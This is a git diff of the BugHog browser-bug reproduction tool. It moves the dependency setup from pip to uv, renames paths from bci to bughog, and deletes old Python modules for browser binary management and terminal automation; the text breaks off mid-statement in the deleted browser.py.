diff --git a/.devcontainer/devcontainer.json b/.devcontainer/devcontainer.json index 66862953..abff425f 100644 --- a/.devcontainer/devcontainer.json +++ b/.devcontainer/devcontainer.json @@ -1,7 +1,7 @@ // For format details, see https://aka.ms/devcontainer.json. For config options, see the // README at: https://github.com/devcontainers/templates/tree/main/src/docker-existing-docker-compose { - "name": "Development", + "name": "bughog-devcontainer", // Update the 'dockerComposeFile' list if you have more compose files or use different names. // The .devcontainer/docker-compose.yml file contains any overrides you need/want to make. @@ -14,12 +14,20 @@ "service": "core_dev", "runServices": ["node_dev", "nginx_dev"], + "containerEnv": { + "UV_PROJECT_ENVIRONMENT": "/app/.venv" + }, + // The optional 'workspaceFolder' property is the path VS Code should open by default when // connected. This is typically a file mount in .devcontainer/docker-compose.yml "workspaceFolder": "/app", "customizations": { "vscode": { + "settings": { + "python.defaultInterpreterPath": "/app/.venv/bin/python" + }, "extensions": [ + "astral-sh.ty", "charliermarsh.ruff", "ms-python.debugpy", "ms-python.python", @@ -28,8 +36,7 @@ } }, - // Install pip requirements - "postCreateCommand": "pip install -r requirements.txt" + "postCreateCommand": "uv sync --dev --locked", // Features to add to the dev container. More info: https://containers.dev/features. // "features": {}, @@ -38,7 +45,7 @@ // "forwardPorts": [], // Uncomment the next line if you want to keep your containers running after VS Code shuts down. - // "shutdownAction": "none", + "shutdownAction": "stopCompose", // Configure tool-specific properties. // "customizations": {}, diff --git a/.github/workflows/run-tests-and-linter.yml b/.github/workflows/run-tests-and-linter.yml index 6324fc77..4dd8c8e0 100644 --- a/.github/workflows/run-tests-and-linter.yml +++ b/.github/workflows/run-tests-and-linter.yml @@ -3,68 +3,65 @@ on: [push] jobs: pytest: runs-on: ubuntu-latest + steps: - - uses: actions/checkout@v3 - - name: Cache Python dependencies - id: cache-pip - uses: actions/cache@v3 - env: - cache-name: cache-python-dependencies - with: - path: ~/.cache/pip - key: ${{ runner.os }}-build-${{ env.cache-name }}-${{ hashFiles('**/requirements_dev.txt') }} - restore-keys: | - ${{ runner.os }}-build-${{ env.cache-name }}- - ${{ runner.os }}-build- - ${{ runner.os }}- - - name: Set up Python 3.11 - uses: actions/setup-python@v4 + - uses: actions/checkout@v5 + + - name: Install uv + uses: astral-sh/setup-uv@v6 with: - python-version: "3.11" + enable-cache: true + - name: Install dependencies - run: | - python -m pip install --upgrade pip - pip install -r requirements_dev.txt - pip install genbadge[all] - - name: Test with pytest - run: | - pytest --ignore=test/availability + run: uv sync --dev --locked + + - name: Run pytest + run: uv run pytest --ignore=test/availability + - name: Generate badge run: | - genbadge tests -i junit.xml -o pytest.svg - genbadge coverage -i coverage.xml -o coverage.svg - - name: Upload tests badge as artifact + uv run genbadge tests -i junit.xml -o pytest.svg + uv run genbadge coverage -i coverage.xml -o coverage.svg + + - name: Upload test badge uses: actions/upload-artifact@v4 with: name: pytest path: pytest.svg overwrite: true - - name: Upload coverage badge as artifact + + - name: Upload coverage badge uses: actions/upload-artifact@v4 with: name: coverage path: coverage.svg overwrite: true + flake8: runs-on: ubuntu-latest + steps: - - uses: actions/checkout@v3 - - name: Set up Python 3.11 - uses: actions/setup-python@v4 + - uses: actions/checkout@v5 + + - name: Install uv + uses: astral-sh/setup-uv@v6 with: - python-version: "3.11" + enable-cache: true + - name: Install dependencies run: | - python -m pip install --upgrade pip - pip install flake8 genbadge[all] + uv sync --dev --locked + - name: Lint with flake8 run: | - flake8 --exit-zero --output-file flake8.txt + uv run flake8 --exit-zero --output-file flake8.txt + - name: Generate badge run: | - genbadge flake8 -i flake8.txt -o flake8.svg - - name: Upload badge with GitHub pages + uv run genbadge flake8 -i flake8.txt -o flake8.svg + + - name: Upload badge uses: actions/upload-artifact@v4 with: name: flake8 diff --git a/.gitignore b/.gitignore index d34fb719..2cca31d9 100644 --- a/.gitignore +++ b/.gitignore @@ -1,8 +1,15 @@ -test/resources/repositories -browser/binaries/ database/data/ + nginx/ssl/certs/* nginx/ssl/keys/* + +subject/*/executables/* + +subject/*/experiments/* +!subject/*/experiments/_default_files/ +!subject/*/experiments/_tests/ +!subject/*/experiments/examples/ + !**/.gitkeep **/node_modules **/junit.xml diff --git a/.vscode/launch.json b/.vscode/launch.json index 855ea2f8..f8d0cfe3 100644 --- a/.vscode/launch.json +++ b/.vscode/launch.json @@ -8,12 +8,14 @@ "name": "BugHog", "type": "debugpy", "request": "launch", - "program": "/app/bci/app.py", + "program": "${workspaceFolder}/bughog/app.py", + "python": "${workspaceFolder}/.venv/bin/python", + "cwd": "${workspaceFolder}", "purpose": [ "debug-test" ], "env": { - "PYTHONPATH": "/app", + "PYTHONPATH": "${workspaceFolder}", "DISPLAY": ":1", "MOZ_DISABLE_CONTENT_SANDBOX": "1", "PATH":"${PATH}:$HOME/.local/bin" diff --git a/.vscode/settings.json b/.vscode/settings.json index 1c443005..0cb6b213 100644 --- a/.vscode/settings.json +++ b/.vscode/settings.json @@ -1,7 +1,5 @@ { - "python.defaultInterpreterPath": "/usr/local/bin/python", - "python.linting.enabled": true, - "python.linting.flake8Enabled": true, + "python.defaultInterpreterPath": "/app/.venv/bin/python", "python.testing.pytestArgs": [ "test" ], diff --git a/Dockerfile b/Dockerfile index 85c03a11..774dc87d 100644 --- a/Dockerfile +++ b/Dockerfile @@ -1,8 +1,8 @@ FROM node:22.14-alpine AS ui-build-stage WORKDIR /app -COPY /bci/web/vue/package*.json ./ +COPY /bughog/web/vue/package*.json ./ RUN npm install -COPY /bci/web/vue ./ +COPY /bughog/web/vue ./ RUN npm run build @@ -21,10 +21,11 @@ CMD ["start.sh"] FROM python:3.13-slim-bullseye AS base +COPY --from=ghcr.io/astral-sh/uv:0.9.7 /uv /uvx /bin/ WORKDIR /app RUN apt-get update -RUN apt install -y curl gconf-service libasound2 libatk1.0-0 libc6 libcairo2 libcups2 libdbus-1-3 libexpat1 libfontconfig1 libgcc1 libgconf-2-4 libgdk-pixbuf2.0-0 libglib2.0-0 libnspr4 libstdc++6 libx11-6 libx11-xcb1 libxcb1 libxcomposite1 libxcursor1 libxdamage1 libxext6 libxfixes3 libxi6 libxrandr2 libxrender1 libxss1 libxtst6 ca-certificates fonts-liberation libappindicator1 libnss3 lsb-release xdg-utils libgbm-dev xvfb dbus-x11 libnss3-tools python3-pip python3-tk python3-xlib gnome-screenshot vim git procps &&\ +RUN apt install -y curl gconf-service libasound2 libatk1.0-0 libc6 libcairo2 libcups2 libdbus-1-3 libexpat1 libfontconfig1 libgcc1 libgconf-2-4 libgdk-pixbuf2.0-0 libglib2.0-0 libnspr4 libstdc++6 libx11-6 libx11-xcb1 libxcb1 libxcomposite1 libxcursor1 libxdamage1 libxext6 libxfixes3 libxi6 libxrandr2 libxrender1 libxss1 libxtst6 ca-certificates fonts-liberation libappindicator1 libnss3 lsb-release xdg-utils libgbm-dev xvfb dbus-x11 libnss3-tools python3-tk python3-xlib gnome-screenshot vim git procps &&\ rm -rf /var/lib/apt/lists/* # Install Docker @@ -53,37 +54,28 @@ RUN curl -sSLo multiarch-support.deb https://snapshot.debian.org/archive/debian- ln -s /usr/lib/x86_64-linux-gnu/libplc4.so /usr/lib/x86_64-linux-gnu/libplc4.so.0d &&\ ln -s /usr/lib/x86_64-linux-gnu/libnspr4.so /usr/lib/x86_64-linux-gnu/libnspr4.so.0d -RUN mkdir -p /app/logs && \ - mkdir -p /app/browser/binaries/chromium/downloaded && \ - mkdir -p /app/browser/binaries/firefox/downloaded && \ - mkdir -p /app/browser/binaries/chromium/artisanal && \ - mkdir -p /app/browser/binaries/firefox/artisanal - -COPY browser/profiles /app/browser/profiles +COPY subject/web_browser/profiles /app/subject/web_browser/profiles COPY --chmod=0755 scripts/ /app/scripts/ -RUN cp /app/scripts/daemon/xvfb /etc/init.d/xvfb +RUN cp /app/scripts/daemon/xvfb /etc/init.d/xvfb &&\ + mkdir -p /app/logs # Install python packages -COPY requirements.txt /app/requirements.txt -RUN pip install --user -r /app/requirements.txt +COPY pyproject.toml uv.lock /app/ +RUN uv sync --no-dev --locked +ENV PATH="/app/.venv/bin:$PATH" # Initiate PyAutoGUI RUN touch /root/.Xauthority && \ xauth add ${HOST}:0 . $(xxd -l 16 -p /dev/urandom) + FROM base AS core # Copy rest of source code -COPY bci /app/bci +COPY bughog /app/bughog ENTRYPOINT [ "/app/scripts/boot/core.sh" ] FROM base AS worker # Copy rest of source code -COPY bci /app/bci +COPY bughog /app/bughog ENTRYPOINT [ "/app/scripts/boot/worker.sh" ] - - -FROM base AS dev -COPY requirements_dev.txt /app/requirements_dev.txt -RUN pip install --user -r requirements_dev.txt -ENTRYPOINT [ "/app/scripts/boot/core.sh" ] diff --git a/bci/analysis/plot_factory.py b/bci/analysis/plot_factory.py deleted file mode 100644 index a9682d20..00000000 --- a/bci/analysis/plot_factory.py +++ /dev/null @@ -1,73 +0,0 @@ -from bci.database.mongo.mongodb import MongoDB -from bci.evaluations.logic import PlotParameters -from bci.version_control.state_result_factory import StateResultFactory - - -class PlotFactory: - - @staticmethod - def get_plot_revision_data(params: PlotParameters) -> dict: - revision_docs = MongoDB().get_documents_for_plotting(params) - revision_results = PlotFactory.__add_outcome_info(params, revision_docs) - return revision_results - - @staticmethod - def get_plot_version_data(params: PlotParameters) -> dict: - version_docs = MongoDB().get_documents_for_plotting(params, releases=True) - version_results = PlotFactory.__add_outcome_info(params, version_docs) - return version_results - - @staticmethod - def validate_params(params: PlotParameters) -> list[str]: - missing_parameters = [] - if not params.mech_group: - missing_parameters.append('selected experiment') - if not params.target_mech_id: - missing_parameters.append('reproduction ID') - if not params.browser_name: - missing_parameters.append('browser') - if not params.database_collection: - missing_parameters.append('database collection') - return missing_parameters - - @staticmethod - def __transform_to_bokeh_compatible(docs: list) -> dict: - new_docs = {} - for d in docs: - for key, value in d.items(): - if key not in new_docs: - new_docs[key] = [] - new_docs[key].append(value) - return new_docs - - @staticmethod - def __add_outcome_info(params: PlotParameters, docs: list): - if not docs: - return { - 'revision_number': [], - 'browser_version': [], - 'browser_version_str': [], - 'outcome': [] - } - docs_with_outcome = [] - state_result_factory = StateResultFactory(params.mech_group) - - for doc in docs: - state_result_data = doc['results'] - state_result = state_result_factory.get_result(state_result_data) - new_doc = { - 'revision_number': doc['state']['revision_number'], - 'browser_version': int(doc['browser_version'].split('.')[0]), - 'browser_version_str': doc['browser_version'].split('.')[0] - } - if state_result.is_dirty: - new_doc['outcome'] = 'Error' - docs_with_outcome.append(new_doc) - elif state_result.reproduced: - new_doc['outcome'] = 'Reproduced' - docs_with_outcome.append(new_doc) - else: - new_doc['outcome'] = 'Not reproduced' - docs_with_outcome.append(new_doc) - docs_with_outcome = PlotFactory.__transform_to_bokeh_compatible(docs_with_outcome) - return docs_with_outcome diff --git a/bci/browser/automation/terminal.py b/bci/browser/automation/terminal.py deleted file mode 100644 index ddc08b8e..00000000 --- a/bci/browser/automation/terminal.py +++ /dev/null @@ -1,41 +0,0 @@ -import logging -import signal -import subprocess -import time - -logger = logging.getLogger(__name__) - - -class TerminalAutomation: - @staticmethod - def visit_url(url: str, args: list[str], seconds_per_visit: int): - args.append(url) - proc = TerminalAutomation.open_browser(args) - logger.debug(f'Visiting the page for {seconds_per_visit}s') - time.sleep(seconds_per_visit) - TerminalAutomation.terminate_browser(proc, args) - - @staticmethod - def open_browser(args: list[str]) -> subprocess.Popen: - logger.debug('Starting browser process...') - logger.debug(f'Command string: \'{" ".join(args)}\'') - with open('/tmp/browser.log', 'a+') as file: - proc = subprocess.Popen(args, stdout=file, stderr=file) - return proc - - @staticmethod - def terminate_browser(proc: subprocess.Popen, args: list[str]) -> None: - logger.debug('Terminating browser process using SIGINT...') - - # Use SIGINT and SIGTERM to end process such that cookies remain saved. - proc.send_signal(signal.SIGINT) - proc.send_signal(signal.SIGTERM) - - try: - stdout, stderr = proc.communicate(timeout=5) - except subprocess.TimeoutExpired: - logger.info('Browser process did not terminate after 5s. Killing process through pkill...') - subprocess.run(['pkill', '-2', args[0].split('/')[-1]]) - - proc.wait() - logger.debug('Browser process terminated.') diff --git a/bci/browser/binary/artisanal_manager.py b/bci/browser/binary/artisanal_manager.py deleted file mode 100644 index de07b4e8..00000000 --- a/bci/browser/binary/artisanal_manager.py +++ /dev/null @@ -1,87 +0,0 @@ -import json -import logging -import os -from bci import cli -from bci.version_control.states.state import State - -logger = logging.getLogger('bci') - -META_FILE_NAME = "meta.json" - - -class ArtisanalBuildManager: - - def __init__(self, bin_folder_path: str, executable_name: str) -> None: - self.builds_folder_path = os.path.join(bin_folder_path, 'artisanal') - self.executable_name = executable_name - self.meta_info = self._get_meta_info() - - def update(self): - subfolders = self._get_subfolders() - - self.add_new_subfolders(subfolders) - self.remove_deleted_subfolders(subfolders) - self.recheck_validity_invalid_subfolders() - - self._overwrite_meta_info() - - def get_artisanal_binaries_list(self) -> list: - return sorted(self.meta_info, key=lambda i: int(i["id"])) - - def has_artisanal_binary_for(self, state: State) -> bool: - return len(list(filter(lambda x: x['id'] == state.revision_nb, self.meta_info))) > 0 - - def add_new_subfolders(self, subfolders): - logger.info("Adding new subfolders to metadata") - new_subfolders = [subfolder for subfolder in subfolders if subfolder not in [entry["folder"] for entry in self.meta_info if "folder" in entry]] - for subfolder in new_subfolders: - self._add_entry(subfolder) - - def remove_deleted_subfolders(self, subfolders): - logger.info("Removing deleted subfolders from metadata") - deleted_subfolders = [subfolder for subfolder in [entry["folder"] for entry in self.meta_info if "folder" in entry] if subfolder not in subfolders] - self.meta_info = [entry for entry in self.meta_info if entry["folder"] not in deleted_subfolders] - - def recheck_validity_invalid_subfolders(self): - logger.info("Recheck invalid subfolders and update metadata") - invalid_subfolders = [entry["folder"] for entry in self.meta_info if not entry["valid"]] - for subfolder in invalid_subfolders: - self._remove_entry(subfolder) - self._add_entry(subfolder) - - def _add_entry(self, subfolder): - subfolder_path = os.path.join(self.builds_folder_path, subfolder) - # TODO - rev_id = str(self.browser_build.preferred_binary_representation(subfolder)) - if os.path.isfile(os.path.join(subfolder_path, self.executable_name)): - if self._is_valid(subfolder_path): - version = self._get_version(subfolder_path) - self.meta_info.append({"id": rev_id, "folder": subfolder, "valid": True, "version": version}) - else: - self.meta_info.append({"id": rev_id, "folder": subfolder, "valid": False}) - else: - self.meta_info.append({"id": rev_id, "folder": subfolder, "valid": False}) - - def _remove_entry(self, subfolder: str): - self.meta_info = [entry for entry in self.meta_info if entry["folder"] != subfolder] - - def _is_valid(self, build_path: str) -> bool: - command = "./%s --version" % self.executable_name - return cli.execute_and_return_status(command, cwd=build_path) == 0 - - def _get_version(self, build_path: str) -> str: - command = "./%s --version" % self.executable_name - return cli.execute_and_return_output(command, cwd=build_path) - - def _get_meta_info(self) -> dict: - meta_file_path = os.path.join(self.builds_folder_path, META_FILE_NAME) - with open(meta_file_path, "r") as file: - return json.load(file) - - def _overwrite_meta_info(self): - meta_file_path = os.path.join(self.builds_folder_path, META_FILE_NAME) - with open(meta_file_path, "w") as file: - json.dump(self.meta_info, file) - - def _get_subfolders(self) -> list: - return [subfolder for subfolder in os.listdir(self.builds_folder_path) if os.path.isdir(os.path.join(self.builds_folder_path, subfolder))] diff --git a/bci/browser/binary/binary.py b/bci/browser/binary/binary.py deleted file mode 100644 index 5e43591d..00000000 --- a/bci/browser/binary/binary.py +++ /dev/null @@ -1,173 +0,0 @@ -from __future__ import annotations - -import logging -import os -import time -from abc import abstractmethod -from typing import Optional - -from bci import util -from bci.browser.binary.artisanal_manager import ArtisanalBuildManager -from bci.database.mongo.binary_cache import BinaryCache -from bci.version_control.states.state import State - -logger = logging.getLogger(__name__) - - -class Binary: - def __init__(self, state: State): - self.state = state - self.__version = None - - @property - def version(self) -> str: - if self.__version is None: - self.__version = self._get_version() - return self.__version - - @property - @abstractmethod - def executable_name(self) -> str: - pass - - @property - @abstractmethod - def browser_name(self) -> str: - pass - - @property - @abstractmethod - def bin_folder_path(self) -> str: - pass - - @property - def origin(self) -> str: - bin_path = self.get_bin_path() - if bin_path is None: - raise AttributeError('Binary path is not available') - - if 'artisanal' in bin_path: - return 'artisanal' - elif 'downloaded' in bin_path: - return 'downloaded' - else: - raise AttributeError(f"Unknown binary origin for path '{self.get_bin_path()}'") - - @staticmethod - def _list_downloaded_binaries(bin_folder_path: str) -> list[dict[str, str]]: - binaries = [] - for subfolder_path in os.listdir(os.path.join(bin_folder_path, 'downloaded')): - bin_entry = {} - bin_entry['id'] = subfolder_path - binaries.append(bin_entry) - return binaries - - @staticmethod - def list_artisanal_binaries(bin_folder_path: str, executable_name: str): - return Binary._get_artisanal_manager(bin_folder_path, executable_name).get_artisanal_binaries_list() - - @staticmethod - def _get_artisanal_manager(bin_folder_path: str, executable_name: str) -> ArtisanalBuildManager: - return ArtisanalBuildManager(bin_folder_path, executable_name) - - def fetch_binary(self): - # Check cache - if self.is_built(): - logger.info(f'Binary for {self.state.index} is already in place') - return - # Consult binary cache - elif BinaryCache.fetch_binary_files(self.get_potential_bin_path(), self.state): - logger.info(f'Binary for {self.state.index} fetched from cache') - return - # Try to download binary - elif self.is_available_online(): - start = time.time() - self.download_binary() - elapsed_time = time.time() - start - logger.info(f'Binary for {self.state.index} downloaded in {elapsed_time:.2f}s') - BinaryCache.store_binary_files(self.get_potential_bin_path(), self.state) - else: - raise BuildNotAvailableError(self.browser_name, self.state) - - def is_available(self): - """ - Returns True if the binary is available either locally or online. - """ - return self.is_available_locally() or self.is_available_online() - - def is_available_locally(self): - bin_path = self.get_bin_path() - return bin_path is not None - - def is_available_online(self): - return self.state.has_online_binary() - - def download_binary(self): - if self.is_available_locally(): - logger.debug(f'Binary for {self.state} was already downloaded ({self.get_bin_path()})') - else: - binary_urls = self.state.get_online_binary_urls() - binary_dst_folder = os.path.dirname(self.get_potential_bin_path()) - util.download_and_extract(binary_urls, binary_dst_folder) - self.configure_binary() - - @abstractmethod - def configure_binary(self): - """ - Configures the browser binary. - This method is idempotent. - """ - pass - - def is_built(self): - bin_path = self.get_bin_path() - return bin_path is not None - - def get_bin_path(self) -> Optional[str]: - """ - Returns path to binary, only if the binary is available locally. Otherwise it returns None. - """ - path_downloaded = self.get_potential_bin_path() - path_artisanal = self.get_potential_bin_path(artisanal=True) - if os.path.isfile(path_downloaded): - return path_downloaded - if os.path.isfile(path_artisanal): - return path_artisanal - return None - - def get_potential_bin_path(self, artisanal=False): - """ - Returns path to potential binary. It does not guarantee whether the binary is available locally. - """ - if artisanal: - return os.path.join(self.bin_folder_path, 'artisanal', self.state.name, self.executable_name) - return os.path.join(self.bin_folder_path, 'downloaded', self.state.name, self.executable_name) - - def get_bin_folder_path(self): - path_downloaded = self.get_potential_bin_folder_path() - path_artisanal = self.get_potential_bin_folder_path(artisanal=True) - if os.path.isdir(path_downloaded): - return path_downloaded - if os.path.isdir(path_artisanal): - return path_artisanal - return None - - def get_potential_bin_folder_path(self, artisanal=False): - if artisanal: - return os.path.join(self.bin_folder_path, 'artisanal', self.state.name) - return os.path.join(self.bin_folder_path, 'downloaded', self.state.name) - - def remove_bin_folder(self): - path = self.get_bin_folder_path() - if path and 'artisanal' not in path: - if not util.rmtree(path): - logger.error("Could not remove folder '%s'" % path) - - @abstractmethod - def _get_version(self) -> str: - pass - - -class BuildNotAvailableError(Exception): - def __init__(self, browser_name, build_state): - super().__init__('Browser build not available: %s (%s)' % (browser_name, build_state)) diff --git a/bci/browser/binary/factory.py b/bci/browser/binary/factory.py deleted file mode 100644 index 736f24e8..00000000 --- a/bci/browser/binary/factory.py +++ /dev/null @@ -1,18 +0,0 @@ -from bci.browser.binary.binary import Binary -from bci.browser.binary.vendors.chromium import ChromiumBinary -from bci.browser.binary.vendors.firefox import FirefoxBinary -from bci.version_control.states.state import State - - -def get_binary(state: State) -> Binary: - return __get_object(state) - - -def __get_object(state: State) -> Binary: - match state.browser_name: - case 'chromium': - return ChromiumBinary(state) - case 'firefox': - return FirefoxBinary(state) - case _: - raise ValueError(f'Unknown browser {state.browser_name}') diff --git a/bci/browser/binary/vendors/chromium.py b/bci/browser/binary/vendors/chromium.py deleted file mode 100644 index 4a6a5689..00000000 --- a/bci/browser/binary/vendors/chromium.py +++ /dev/null @@ -1,125 +0,0 @@ -import logging -import os -import re - -from bci import cli, util -from bci.browser.binary.artisanal_manager import ArtisanalBuildManager -from bci.browser.binary.binary import Binary -from bci.database.mongo.binary_cache import BinaryCache -from bci.version_control.states.state import State - -logger = logging.getLogger(__name__) - -EXECUTABLE_NAME = 'chrome' -BIN_FOLDER_PATH = '/app/browser/binaries/chromium' -EXTENSION_FOLDER_PATH = '/app/browser/extensions/chromium' - - -class ChromiumBinary(Binary): - def __init__(self, state: State): - super().__init__(state) - - def save_browser_binary(self, binary_file): - binary_file.save(self.get_bin_path()) - - @property - def executable_name(self) -> str: - return EXECUTABLE_NAME - - @property - def browser_name(self) -> str: - return "chromium" - - @property - def bin_folder_path(self) -> str: - return BIN_FOLDER_PATH - - # Downloadable binaries - - def configure_binary(self): - binary_folder = os.path.dirname(self.get_potential_bin_path()) - self.__remove_unnecessary_files(binary_folder) - cli.execute_and_return_status(f'chmod -R a+x {binary_folder}') - - def __remove_unnecessary_files(self, binary_folder_path: str) -> None: - """ - Remove binary files that are not necessary for default usage of the browser. - This is to improve performance, especially when caching binary files. - - :param binary_folder_path: Path to the folder where the binary files are stored. - """ - locales_folder_path = os.path.join(binary_folder_path, 'locales') - if os.path.isdir(locales_folder_path): - util.remove_all_in_folder(locales_folder_path, except_files=['en-GB.pak', 'en-US.pak']) - - def _get_version(self) -> str: - command = "./chrome --version" - if bin_path := self.get_bin_path(): - output = cli.execute_and_return_output(command, cwd=os.path.dirname(bin_path)) - else: - BinaryCache.remove_binary_files(self.state) - raise AttributeError(f'Could not get binary path for {self.state}') - match = re.match(r'Chromium (?P[0-9]+\.[0-9]+\.[0-9]+\.[0-9]+)', output) - if match: - return match.group("version") - raise AttributeError("Could not determine version of binary at '%s'. Version output: %s" % (bin_path, output)) - - @staticmethod - def list_downloaded_binaries() -> list[dict[str, str]]: - return Binary._list_downloaded_binaries(BIN_FOLDER_PATH) - - @staticmethod - def get_artisanal_manager() -> ArtisanalBuildManager: - return Binary._get_artisanal_manager(BIN_FOLDER_PATH, EXECUTABLE_NAME) - - browser_version_to_driver_version = { - '88': "88.0.4324.96", - '87': "87.0.4280.88", - '86': "86.0.4240.22", - '85': "85.0.4183.87", - '84': "84.0.4147.30", - '83': "83.0.4103.39", - '82': "81.0.4044.69", # No chromium driver released for 82 - '81': "81.0.4044.69", - '80': "80.0.3987.16", # 80.0.3987.16 80.0.3987.106 - '79': "79.0.3945.36", - '78': "78.0.3904.11", - '77': "77.0.3865.40", - '76': "76.0.3809.126", - '75': "75.0.3770.8", - '74': "74.0.3729.6", - '73': "73.0.3683.68", - '72': "72.0.3626.7", - '71': "71.0.3578.80", - '70': "70.0.3538.97", - '69': "2.42.591071", - '68': "2.41.578700", - '67': "2.40.565383", - '66': "2.38.552522", - '65': "2.37.544315", - '64': "2.36.540471", - '63': "2.35.528139", - '62': "2.34.522913", - '61': "2.33.506092", - '60': "2.32.498513", - '59': "2.31.488763", # From here on not working - '58': "2.29.461571", - '57': "2.29.461571", - '56': "2.29.461571", - '55': "2.27.440175", - '54': "2.23.409687", - '53': "2.23.409687", # Based on Selenoid https://aerokube.com/images/latest/ - '52': "2.23.409687", # Based on Selenoid - '51': "2.22.397932", # Tried also with 2.21 and 2.23, to no avail - '50': "2.22.397932", # Based on Selenoid - '49': "2.21.371461", # Based on Selenoid - '48': "2.21.371461", - '47': "2.21.371461", - '46': "2.20.353124", - '45': "2.20.353124", - '44': "2.19.346067", - '43': "2.19.346067", - '42': "2.18.343837", - '41': "2.18.343837", - '40': "2.18.343837", - } diff --git a/bci/browser/binary/vendors/firefox.py b/bci/browser/binary/vendors/firefox.py deleted file mode 100644 index 127566c9..00000000 --- a/bci/browser/binary/vendors/firefox.py +++ /dev/null @@ -1,107 +0,0 @@ -import logging -import os -import re - -from bci import cli -from bci.browser.binary.artisanal_manager import ArtisanalBuildManager -from bci.browser.binary.binary import Binary -from bci.version_control.states.state import State - -logger = logging.getLogger('bci') - -EXECUTABLE_NAME = 'firefox' -BIN_FOLDER_PATH = '/app/browser/binaries/firefox' -EXTENSION_FOLDER_PATH = '/app/browser/extensions/firefox' - - -class FirefoxBinary(Binary): - def __init__(self, state: State): - super().__init__(state) - - @property - def executable_name(self) -> str: - return "firefox" - - @property - def browser_name(self) -> str: - return "firefox" - - @property - def bin_folder_path(self) -> str: - return BIN_FOLDER_PATH - - def configure_binary(self) -> None: - binary_folder = os.path.dirname(self.get_potential_bin_path()) - cli.execute_and_return_status(f'chmod -R a+x {binary_folder}') - cli.execute_and_return_status(f'chmod -R a+w {binary_folder}') - # Add policy.json to prevent updating. (this measure is effective from version 60) - # https://github.com/mozilla/policy-templates/blob/master/README.md - # (For earlier versions, the prefs.js file is used) - distributions_path = os.path.join(binary_folder, 'distribution') - os.makedirs(distributions_path, exist_ok=True) - policies_path = os.path.join(distributions_path, 'policies.json') - with open(policies_path, 'a') as file: - file.write('{ "policies": { "DisableAppUpdate": true } }') - - def _get_version(self): - if (bin_path := self.get_bin_path()) is None: - raise AttributeError(f"Binary not available for {self.browser_name} {self.state}") - command = "./firefox --version" - output = cli.execute_and_return_output(command, cwd=os.path.dirname(bin_path)) - match = re.match(r'Mozilla Firefox (?P[0-9]+)\.[0-9]+.*', output) - if match: - return match.group("version") - raise AttributeError( - "Could not determine version of binary at '%s'. Version output: %s" % (bin_path, output)) - - def get_driver_version(self, browser_version): - if browser_version not in self.browser_version_to_driver_version.keys(): - raise AttributeError( - "Could not determine driver version associated with Firefox version %s" % browser_version) - return self.browser_version_to_driver_version[browser_version] - - @staticmethod - def list_downloaded_binaries() -> list[dict[str, str]]: - return Binary._list_downloaded_binaries(BIN_FOLDER_PATH) - - @staticmethod - def get_artisanal_manager() -> ArtisanalBuildManager: - return Binary._get_artisanal_manager(BIN_FOLDER_PATH, EXECUTABLE_NAME) - - browser_version_to_driver_version = { - '84': "0.28.0", - '83': "0.28.0", - '82': "0.27.0", - '81': "0.27.0", - '80': "0.27.0", - '79': "0.27.0", - '78': "0.27.0", - '77': "0.27.0", - '76': "0.27.0", - '75': "0.27.0", - '74': "0.27.0", - '73': "0.27.0", - '72': "0.27.0", - '71': "0.27.0", - '70': "0.27.0", - '69': "0.27.0", - '68': "0.26.0", - '67': "0.26.0", - '66': "0.26.0", - '65': "0.25.0", - '64': "0.26.0", - '63': "0.26.0", - '62': "0.26.0", - '61': "0.26.0", - '60': "0.26.0", - '59': "0.25.0", - '58': "0.20.1", - '57': "0.20.1", - '56': "0.19.1", - '55': "0.20.1", - '54': "0.17.0", - '53': "0.16.1", - '52': "0.15.0", - '51': "0.15.0", - '50': "0.15.0" - } diff --git a/bci/browser/configuration/browser.py b/bci/browser/configuration/browser.py deleted file mode 100644 index 0c38d69a..00000000 --- a/bci/browser/configuration/browser.py +++ /dev/null @@ -1,136 +0,0 @@ -from __future__ import annotations - -import os -import subprocess -from abc import abstractmethod - -import bci.browser.binary.factory as binary_factory -from bci import util -from bci.browser.automation.terminal import TerminalAutomation -from bci.browser.binary.binary import Binary -from bci.browser.configuration.profile import remove_profile_execution_folder -from bci.evaluations.logic import BrowserConfiguration, EvaluationConfiguration -from bci.version_control.states.state import State - -EXECUTION_PARENT_FOLDER = '/tmp' - - -class Browser: - process: subprocess.Popen | None - - def __init__( - self, browser_config: BrowserConfiguration, eval_config: EvaluationConfiguration, binary: Binary - ) -> None: - self.browser_config = browser_config - self.process = None - self.eval_config = eval_config - self.binary = binary - self.state = binary.state - self._profile_path = None - - @property - def version(self) -> str: - return self.binary.version - - def get_binary_origin(self) -> str: - return self.binary.origin - - def visit(self, url: str): - match self.eval_config.automation: - case 'terminal': - args = self._get_terminal_args() - TerminalAutomation.visit_url(url, args, self.eval_config.seconds_per_visit) - case _: - raise AttributeError('Not implemented') - - def open(self, url: str) -> None: - args = self._get_terminal_args() - args.append(url) - self.process = TerminalAutomation.open_browser(args) - - def terminate(self): - if self.process is None: - return - - TerminalAutomation.terminate_browser(self.process, self._get_terminal_args()) - self.process = None - - def pre_evaluation_setup(self): - self.__fetch_binary() - - def post_evaluation_cleanup(self): - self.__remove_binary() - - def pre_test_setup(self): - self.__prepare_execution_folder() - - def post_test_cleanup(self): - self.__remove_execution_folder() - - def pre_try_setup(self): - self._prepare_profile_folder() - - def post_try_cleanup(self): - self.__remove_profile_folder() - self.__empty_downloads_folder() - - def __fetch_binary(self): - self.binary.fetch_binary() - - def __remove_binary(self): - self.binary.remove_bin_folder() - - def __prepare_execution_folder(self): - path = self.__get_execution_folder_path() - util.copy_folder(self.binary.get_bin_folder_path(), path) - - @abstractmethod - def _prepare_profile_folder(self): - pass - - def __remove_execution_folder(self): - util.rmtree(self.__get_execution_folder_path()) - - def __remove_profile_folder(self): - if self._profile_path is None: - return - remove_profile_execution_folder(self._profile_path) - self._profile_path = None - - def __empty_downloads_folder(self): - download_folder = '/root/Downloads' - util.remove_all_in_folder(download_folder) - - def __get_execution_folder_path(self) -> str: - return os.path.join(EXECUTION_PARENT_FOLDER, str(self.state.name)) - - def _get_executable_file_path(self) -> str: - return os.path.join(self.__get_execution_folder_path(), self.binary.executable_name) - - @abstractmethod - def _get_terminal_args(self) -> list[str]: - pass - - @abstractmethod - def get_navigation_sleep_duration(self) -> int: - pass - - @abstractmethod - def get_open_console_hotkey(self) -> list[str]: - pass - - @staticmethod - def get_browser( - browser_config: BrowserConfiguration, eval_config: EvaluationConfiguration, state: State - ) -> Browser: - from bci.browser.configuration.chromium import Chromium - from bci.browser.configuration.firefox import Firefox - - binary = binary_factory.get_binary(state) - - if browser_config.browser_name == 'chromium': - return 